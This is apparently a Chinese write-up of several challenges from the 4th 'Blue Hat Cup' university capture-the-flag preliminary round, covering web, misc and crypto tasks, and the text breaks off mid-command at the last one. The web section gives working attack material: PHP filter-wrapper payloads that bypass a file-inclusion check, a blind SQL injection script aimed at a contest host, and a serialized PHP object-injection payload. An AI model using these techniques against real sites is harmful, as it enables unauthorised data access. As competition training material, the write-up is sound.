Single

第四届“蓝帽杯”全国大学生网络安全技能大赛初赛部分Writeup6 min read

摸鱼选手,感谢同队师傅,学到很多。

0x00 WEB

文件包含绕过

<?php
highlight_file(__FILE__);
    include("./check.php");
    if(isset($_GET['filename'])){
        $filename  = $_GET['filename'];
        include($filename);
    }
?>

正常的绕过姿势都行不通,学到了新姿势。

通过iconv将utf-8编码转为utf-7编码,从而把’=’给转了,最终也就不会影响到base64的正常解码。

payload:

php://filter/convert.iconv.utf-8.utf-7/resource=flag.php

得到:

+ADw?php +ACQ-flag+AD0’flag+AHs-2973f868-91c1-449c-9f0f-fd19ba0b9b26+AH0’+ADs

也可以使用bzip2.compress协议绕过

php://filter/bzip2.compress/resource=flag.php

easiestSQLi

eds师傅tql。过滤了双引号改校内赛老八小汉堡那道题的脚本。

import requests

urla = 'http://eci-2ze2wcynh47kyngodmw7.cloudeci1.ichunqiu.com/?id=if((select%0aflag%0afrom%0aflag)regexp(\'^'
urlb = '\'),1,0)'

strs = ['[0]','[1]','[2]','[3]','[4]','[5]','[6]','[7]','[8]','[9]','a','b','c','d','e','f','g','h','i','j','k','l','m','n','o','p','q','r','s','t','u','v','w','x','y','z','}','{','.']
flag = ''
print(urla + flag + urlb)
print(requests.get(urla+urlb).text)

for i in range(40):
    for x in strs:
        url = urla + flag+ x + urlb
        #print(url)
        r = requests.get(url)
        if 'YES' in r.text:
            flag += x
            print(x)
            if x == '$':
                exit()
            break
            
    print(flag)

Soitgoes

查看源代码得到提示:

使用filter流读取try.php:

?file=php://filter/read=convert.base64-encode/resource=try.php

<?php
class Seri{
    public $alize;
    public function __construct($alize) {
        $this->alize = $alize;
    }
    public function __destruct(){
        $this->alize->getFlag();
    }
}

class Flag{
    public $f;
    public $t1;
    public $t2;

    function __construct($file){
        echo "Another construction!!";
        $this->f = $file;
        $this->t1 = $this->t2 = md5(rand(1,10000));
    }

    public function getFlag(){
        $this->t2 = md5(rand(1,10000));
        echo $this->t1;
        echo $this->t2;
        if($this->t1 === $this->t2)
        {
            if(isset($this->f)){
                echo @highlight_file($this->f,true);
            }
        }
    }
}
?>

使用filter流读取index.php,核心代码如下所示:

<?php
error_reporting(0);
$file = $_GET["file"];
$p = $_GET["p"];
if (isset($file)) {
    echo 'NONONO' . '<br>';

    if (preg_match("/flag/", $file)) {
        die('HACKER GOGOGO!!!');
    }
    @include($file);

    if (isset($p)) {
        $p = unserialize($p);
    } else {
        echo "NONONO";
    }
}
?>

fuzz发现存在flag.php(没有报404错误)

要想读取到flag,就要引入try.php并要传入p参数,所以构造序列化的时候要想办法执行getFlag()。

t1和t2被赋予1到10000之间随机一个数的md5值,正常情况下不能把控它们相等,所以让他们都指向一个地址。

<?php
class Seri{
    public $alize;
    public function __construct($alize) {
        $this->alize = $alize;
    }
    public function __destruct(){
        $this->alize->getFlag();
    }
}
class Flag{
    public $f;
    public $t1;
    public $t2;
    function __construct($file){
        echo "Another construction!!";
        $this->f = $file;
        $this->t1 = $this->t2 = md5(rand(1,10000));
    }

    public function getFlag(){
        $this->t2 = md5(rand(1,10000));
        echo $this->t1;
        echo $this->t2;
        if($this->t1 === $this->t2)
        {
            if(isset($this->f)){
                echo @highlight_file($this->f,true);
            }
        }
    }
}
$a = new Flag('flag.php');
$a->t1=&$a->t2;
$b = new Seri($a);
echo(serialize($b));
?>

运行后得到:

Another construction!!O:4:”Seri”:1:{s:5:”alize”;O:4:”Flag”:3:{s:1:”f”;s:8:”flag.php”;s:2:”t1″;s:32:”fd00d3474e495e7b6d5f9f575b2d7ec4″;s:2:”t2″;R:4;}}1c54985e4f95b7819ca0357c0cb9a09f1c54985e4f95b7819ca0357c0cb9a09f

取中间序列化部分给参数p,最终payload如下:

?file=try.php&p=O:4:”Seri”:1:{s:5:”alize”;O:4:”Flag”:3:{s:1:”f”;s:8:”flag.php”;s:2:”t1″;s:32:”fd00d3474e495e7b6d5f9f575b2d7ec4″;s:2:”t2″;R:4;}}

0x01 MISC

签到

用十六进制编辑器(010)打开图片发现格式应该是GIF。

想到可能有很多帧,用ps打开图片,分别保存图片的两个图层,然后用stegsolve对两个图层进行分析得到flag。

熟悉的解密

逐行翻译得到:

#!/usr/bin/env python
#-*- coding: utf-8 -*-
import sys
from ctypes import *
def encipher(v, k):
    y = c_uint32(v[0])
    z = c_uint32(v[1])
    sum = c_uint32(0)
    delta = 0x9e3779b9
    n = 32
    w = [0,0]
    while(n>0):
        sum.value += delta
        y.value += ( z.value << 4 ) + k[0] ^ z.value + sum.value ^ ( z.value >> 5 ) + k[1]
        z.value += ( y.value << 4 ) + k[2] ^ y.value + sum.value ^ ( y.value >> 5 ) + k[3]
        n -= 1
    w[0] = y.value
    w[1] = z.value
    return w
def encodestr(text, key):
    cipherList = []
    text += (8 - len(text) % 8) * chr(0)
    for i in range(len(text)/8):
        v1 = 0
        v2 = 0
        for j in range(4):
            v1+= ord(text[i*8+j]) << (4-j-1)*8
            v2+= ord(text[i*8+j+4]) << (4-j-1)*8
        cipherList.append(encipher([v1,v2],key))
    return cipherList

if __name__ == "__main__":
    key = [11,22,33,44]
	flag = ?
    cipher = encodestr(flag1,key)
	#cipher = [[4018289233L, 2950320151L], [1771827478L, 493980876L], [1863284879L, 1137797599L], [2759701525L, 3957885055L], [2600866805L, 78850724L]]

查询资料得知这是TEA(微型加密算法)。

解密部分参考:https://www.coder.work/article/2106318

import sys
from ctypes import *
from libnum import n2s

def decipher(v, k):
    y = c_uint32(v[0])
    z = c_uint32(v[1])
    sum = c_uint32(0xc6ef3720)
    delta = 0x9e3779b9
    n = 32
    w = [0,0]
    while(n>0):
        z.value -= ( y.value << 4 ) + k[2] ^ y.value + sum.value ^ ( y.value >> 5 ) + k[3]
        y.value -= ( z.value << 4 ) + k[0] ^ z.value + sum.value ^ ( z.value >> 5 ) + k[1]
        sum.value -= delta
	n -= 1
    w[0] = y.value
    w[1] = z.value
    return w

key = [11,22,33,44]
cipher = [[4018289233L, 2950320151L], [1771827478L, 493980876L], [1863284879L, 1137797599L], [2759701525L, 3957885055L], [2600866805L, 78850724L]]
for i in range(4):
    x,y = decipher(cipher[i],key)
    print n2s(x),n2s(y)

后半部分flag是base64隐写,一把梭:

import base64
def get_base64_diff_value(s1,s2):
    table = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/'
    res = 0
    for i in range(len(s1)):
        if s1[i] != s2[i]:
            return abs(table.index(s1[i]) - table.index(s2[i]))
    return res

def solve():
    lines = open('1','r').readlines()
    bin_str = ''

    for line in lines:
        steg_line = line.replace('\n','')
        # print(steg_line)
        norm_line = base64.b64encode(base64.b64decode(steg_line)).decode()
        # print(norm_line)
        diff = get_base64_diff_value(steg_line,norm_line)
        # print(diff)
        pad_num = steg_line.count('=')
        if diff:
            bin_str += bin(diff)[2:].zfill(pad_num*2)
        else:
            bin_str += '0' * pad_num * 2
    print(bin_str)
    res_str = ''
    for j in range(int(len(bin_str)/8)):
        # print(8*j,(j+1)*8)
        res_str+=chr(int(bin_str[8*j:(j+1)*8],2))
    print(res_str[-52:])
    print(base64.b64decode(res_str[-52:]))

solve()

0x02 CRYPTO

zuc

查了下资料:

ZUC算法是中国自主设计的流密码算法,现已被3GPP LTE采纳为国际加密标准,即第四代移动通信加密标准。 ZUC算法是中国第一个成为国际密码标准的密码算法。

GmSSL是一个开源的密码工具箱,支持SM2/SM3/SM4/SM9/ZUC等国密(国家商用密码)算法。下载地址:https://github.com/guanzhi/GmSSL

下载真是太艰辛了QAQ,kali慎,用的ubantu。

遇到的问题+解决方法:https://blog.csdn.net/nange_nice/article/details/82182635

按照官方给的食用说明一把梭得到flag:

$ gmssl zuc -d -in